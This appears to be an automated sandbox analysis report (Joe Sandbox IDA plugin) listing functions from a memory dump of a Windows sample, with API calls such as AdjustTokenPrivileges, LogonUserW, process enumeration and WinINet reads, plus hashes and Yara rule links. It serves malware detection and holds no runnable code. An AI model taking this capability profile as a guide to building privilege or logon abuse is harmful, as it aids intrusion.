Function 00655376 Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 006553C5
IsWindowEnabled.USER32 ref: 006553D3
GetForegroundWindow.USER32(?,?,00000001), ref: 006553E0
IsIconic.USER32 ref: 006553EE
IsZoomed.USER32 ref: 006553FC

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: c3eb02ba8b44bc19e8d12063935f970e681589bc3ddd9957e87af0c4dcdea69c
Instruction ID: 6daf0df3d73eb9c22e0a525d04d32c730b57345e676544a8e4656867ddcb54f2
Opcode Fuzzy Hash: c3eb02ba8b44bc19e8d12063935f970e681589bc3ddd9957e87af0c4dcdea69c
Instruction Fuzzy Hash: 3E11B631300A115BEB216F26DC5CA5E7B9BFF847A2F41402AFC4AD7351DB709D018694

Function 006280A9 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 006280C0
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 006280CA
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 006280D9
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 006280E0
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 006280F6

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 8590680eee180d2fca1b4f9ee864830c30d3749da87ff999f21d5786fa177a41
Instruction ID: acfbf952d97f7ba9801fe6dfca63442b08922099fcc254917a839ef5456fd9a8
Opcode Fuzzy Hash: 8590680eee180d2fca1b4f9ee864830c30d3749da87ff999f21d5786fa177a41
Instruction Fuzzy Hash: BCF06231246715AFEB204FA5EC8DEAB3BAEEF49756F040025F945C7290CB619C61DE60

Function 005DE6A0 Relevance: 7.4, Strings: 5, Instructions: 1102COMMON

Download Yara Rule

Strings

Ddi, xrefs: 005DEAC1
Variable must be of type 'Object'., xrefs: 00613E62
Ddi, xrefs: 00613B2E
Ddi, xrefs: 005DEABA
Ddi, xrefs: 00613AF5

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID:
String ID: Ddi$Ddi$Ddi$Ddi$Variable must be of type 'Object'.
API String ID: 0-2278049409
Opcode ID: fe5b74cf0546d5986311c0899a3b8fd937c387b02d85769d3bec2a5a2eff5571
Instruction ID: 7bc41b9d638de9314dad2a29b7fc2c49a5a5ed2a3f52a68d0ceedf3373924a4c
Opcode Fuzzy Hash: fe5b74cf0546d5986311c0899a3b8fd937c387b02d85769d3bec2a5a2eff5571
Instruction Fuzzy Hash: 4AA28D74A00216CFCB24DF58C485AA9BBB6FF59314F28845BE9069F351D731ED82CB91

Function 005D4B37 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,005D4AD0), ref: 005D4B45
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 005D4B57

Strings

kernel32.dll, xrefs: 005D4B40
GetNativeSystemInfo, xrefs: 005D4B51

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: e31a88849b303c93b67c2c3b556450b1b962cbcaa6c0577597117e841bfbbec6
Instruction ID: 831b9e93650806e49cad1c48b66fa4f386ae0f1986aa70d40dead66466598420
Opcode Fuzzy Hash: e31a88849b303c93b67c2c3b556450b1b962cbcaa6c0577597117e841bfbbec6
Instruction Fuzzy Hash: 66D01234A10713CFDB30DF35D918B0676D5AF15352F11883B98C5D6250E670D484CA54

Function 0064EE0D Relevance: 6.2, APIs: 4, Instructions: 164processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0064EE3D
Process32FirstW.KERNEL32(00000000,?), ref: 0064EE4B

Part of subcall function 005D7DE1: _memmove.LIBCMT ref: 005D7E22

Process32NextW.KERNEL32(00000000,?), ref: 0064EF0B
CloseHandle.KERNEL32(00000000,?,?,?), ref: 0064EF1A

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memmove
String ID:
API String ID: 2576544623-0
Opcode ID: 42fa18a562fe808ab242d4a593acf0763abc69a0f5fc51e48143ad0cc9c58cb9
Instruction ID: 4dff09883f88fc3f9c959825fd88c4a8c74283b05488ec08a5e8512701ef589d
Opcode Fuzzy Hash: 42fa18a562fe808ab242d4a593acf0763abc69a0f5fc51e48143ad0cc9c58cb9
Instruction Fuzzy Hash: D1518071504711AFD360EF28D885E6BBBE9FF94710F00482EF595973A1EB709904CB92

Function 0062E616 Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 561stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,00000000), ref: 0062E628

Strings

(, xrefs: 0062E66E
|, xrefs: 0062E658

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: lstrlen
String ID: ($|
API String ID: 1659193697-1631851259
Opcode ID: 6fc0f335f5ba5bb5a4e06416ca4fea96662ab1230dee6f5c030f737940060263
Instruction ID: b536013fb34d166b27746ed337f46c6fabbdf219ea1f8d64c013eb3a12069a65
Opcode Fuzzy Hash: 6fc0f335f5ba5bb5a4e06416ca4fea96662ab1230dee6f5c030f737940060263
Instruction Fuzzy Hash: 39323475A00B159FDB28CF19D4819AAB7F1FF48320B15C46EE89ADB3A1E771A941CF40

Function 006422EE Relevance: 4.7, APIs: 3, Instructions: 164networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(00000001,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,0064180A,00000000), ref: 006423E1
InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 00642418

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: bfdb1d48c615352c335007937d9981d68f825480844014e09b7610a429c8d918
Instruction ID: 1f0a11d8e426627b6a3be9d6b19904d322891180f5a17bea6bfe31ead9cbc572
Opcode Fuzzy Hash: bfdb1d48c615352c335007937d9981d68f825480844014e09b7610a429c8d918
Instruction Fuzzy Hash: CD41F47190420ABFEB11DE95DC95EFBBBFEEB40314F60406AF601A7241EA749E419660

Function 0063B333 Relevance: 4.6, APIs: 3, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0063B343
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 0063B39D
SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 0063B3EA

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: a98d58a3afbf2b2fe6089c3f72bf5dea9441dc7e69197d135768edfc27913917
Instruction ID: 044617a8b24deb942fb0a112cb0e0626be4e08ece11b72a4189ef25e88485961
Opcode Fuzzy Hash: a98d58a3afbf2b2fe6089c3f72bf5dea9441dc7e69197d135768edfc27913917
Instruction Fuzzy Hash: 22216035A00618EFCB00EFA5D885AEDBBB9FF49310F1480AAF905EB351DB319915CB90

Function 006287E1 Relevance: 4.6, APIs: 3, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 005F0DB6: std::exception::exception.LIBCMT ref: 005F0DEC
Part of subcall function 005F0DB6: __CxxThrowException@8.LIBCMT ref: 005F0E01

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0062882B
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00628858
GetLastError.KERNEL32 ref: 00628865

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
String ID:
API String ID: 1922334811-0
Opcode ID: 8a02b6b0f73497a00b5ba0fea95337f30ad0f79e9299ed48d2532df919cf782e
Instruction ID: c1d85866fccc1f7b338198f763d256ee67a6d55b3bf740d8ae6a156334d8226a
Opcode Fuzzy Hash: 8a02b6b0f73497a00b5ba0fea95337f30ad0f79e9299ed48d2532df919cf782e
Instruction Fuzzy Hash: 8D1160B1414305AFE718EF54EC89D6BB7ADFB44711B24852EE45597241EB34BC418B60

Function 0062874B Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00628774
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 0062878B
FreeSid.ADVAPI32(?), ref: 0062879B

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 755be902df21305e39790d5aa66575b1d90ca0de2211b07c7c753018f62d7896
Instruction ID: 8115d788eb079da91507a3d5e00a7fed98cbf696c46a2f37c819e9abc3012370
Opcode Fuzzy Hash: 755be902df21305e39790d5aa66575b1d90ca0de2211b07c7c753018f62d7896
Instruction Fuzzy Hash: 64F06D75A1130CBFDF00DFF4DC99ABEBBBDEF08211F1044A9A902E2281E7716A448B50

Function 00638889 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

__time64.LIBCMT ref: 0063889B

Part of subcall function 005F520A: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,00638F6E,00000000,?,?,?,?,0063911F,00000000,?), ref: 005F5213
Part of subcall function 005F520A: __aulldiv.LIBCMT ref: 005F5233

Strings

0ei, xrefs: 00638892

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Time$FileSystem__aulldiv__time64
String ID: 0ei
API String ID: 2893107130-4157504156
Opcode ID: bc794e758e1cf206891c392aa12dc9080ce02fd3ff0b7bdb6380eb658b47ba89
Instruction ID: b735367dca7ce3e8868fb29f57ba19f11849ba4e592070b3c98356493f591575
Opcode Fuzzy Hash: bc794e758e1cf206891c392aa12dc9080ce02fd3ff0b7bdb6380eb658b47ba89
Instruction Fuzzy Hash: A821D232625610CFC729CF25D841A92B3E6EBA4310F298E2CE1F5CB2D0CA34A905CB94

Function 00634C7F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

mouse_event.USER32(00000800,00000000,00000000,00000088,00000000), ref: 00634CB3

Strings

DOWN, xrefs: 00634C98

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: mouse_event
String ID: DOWN
API String ID: 2434400541-711622031
Opcode ID: af45daffef2b9737edf5a00212b47ef2ee80e68fa9efb4f53446e68e95d29504
Instruction ID: fa724dfe8432cb825b68dce1f6176ad642c0e5b2bf232e1387a8b17810c6815f
Opcode Fuzzy Hash: af45daffef2b9737edf5a00212b47ef2ee80e68fa9efb4f53446e68e95d29504
Instruction Fuzzy Hash: C9E08CB219D7223CB9042A58BC07EF7078D9F22335F211206F910E51C1ED852C8265E8

Function 0063C6D1 Relevance: 3.1, APIs: 2, Instructions: 52fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 0063C6FB
FindClose.KERNEL32(00000000), ref: 0063C72B

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 2e24d01184aa7726235b001e5275f6d844c870806459e38e3c9fdd9e0acfe4b9
Instruction ID: 14c79fe1db00f63681d944945e52e0d86c5575a88b53de730a72a0ca4cd38574
Opcode Fuzzy Hash: 2e24d01184aa7726235b001e5275f6d844c870806459e38e3c9fdd9e0acfe4b9
Instruction Fuzzy Hash: 10117C726006019FDB10EF29D849A2AB7E9FF85321F00851EF9A9D73A0DB30A801CB81

Function 0063A06A Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,00000016,?,00649468,?,0065FB84,?), ref: 0063A097
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,00000016,?,00649468,?,0065FB84,?), ref: 0063A0A9

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 1b4c3e72c672b054d5e4daf2fff39fa4289996c728316e8eab56388e18afc20a
Instruction ID: 6f73fdcc35776c0cd1d5fe16029b5f1b662bc2b1172400b56057a2d6fceae41d
Opcode Fuzzy Hash: 1b4c3e72c672b054d5e4daf2fff39fa4289996c728316e8eab56388e18afc20a
Instruction Fuzzy Hash: 12F0823514532DABDB21AFA4CC48FEA776EBF09361F004166F959D7281D7309A40CBE1

Function 006281CB Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00628309), ref: 006281E0
CloseHandle.KERNEL32(?,?,00628309), ref: 006281F2

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 580124762c783a96ee068ef8738a35dffa9fc92711375498961e6f6deba96c47
Instruction ID: ac9bb07a69ecc76736d0dc15859012377ac221f0e2bc5066a4ab173f75104d43
Opcode Fuzzy Hash: 580124762c783a96ee068ef8738a35dffa9fc92711375498961e6f6deba96c47
Instruction Fuzzy Hash: 39E08631001611AFE7212B20FC08D737BEEFF00311B14982DF555804B1CB215C90DB10

Function 005FA155 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,005F8D57,?,?,?,00000001), ref: 005FA15A
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 005FA163

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: def8d6a7666a8aa807598846850af6e664b1bd845ae478687d095f500eddb3bd
Instruction ID: dd24603628e0d1268147085d134ed43a8132383d2f7e17f13a1592013e789fb0
Opcode Fuzzy Hash: def8d6a7666a8aa807598846850af6e664b1bd845ae478687d095f500eddb3bd
Instruction Fuzzy Hash: C0B09231054308ABEB006F91ED09B893F6AEB44AA3F405020F60D84070CF6254508AD1

Function 005FF1D9 Relevance: 2.1, APIs: 1, Instructions: 645COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23e17c375b055a584a7038ce68c946144f3efae666144a2d0f9243253d681974
Instruction ID: 1ae8dfdaba139a33b5f58d17199d69fc34a6188eaa3fc5922e7b180d9de80ab4
Opcode Fuzzy Hash: 23e17c375b055a584a7038ce68c946144f3efae666144a2d0f9243253d681974
Instruction Fuzzy Hash: AD321521D29F054DD7239A34D932335A649BFB73C8F15D737E81AB5EA6EB68C4834200

Function 0060242E Relevance: 1.8, APIs: 1, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1167880ac7374489dba97ff863a68726f2428a6165f12b79d43f3df770182abe
Instruction ID: 878c8987e4363e46499735db24ef92fe1bd0a0400eea7e4619c2c8d36d46f95f
Opcode Fuzzy Hash: 1167880ac7374489dba97ff863a68726f2428a6165f12b79d43f3df770182abe
Instruction Fuzzy Hash: 52B12130D2AF414DD32396398835336B68DAFBB2C5F51E71BFC2670E62EB6285834541

Function 006287B1 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

LogonUserW.ADVAPI32(?,00000001,?,?,00000000,00628389), ref: 006287D1

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: LogonUser
String ID:
API String ID: 1244722697-0
Opcode ID: 9cfa85b07153a2f9ebc0d44a8b1cf3ae86c463dd35cf09106f800c39ca2a414a
Instruction ID: f1767624edd67033d81415a736e4da27c7032ee530a217aea49cb53df6e30282
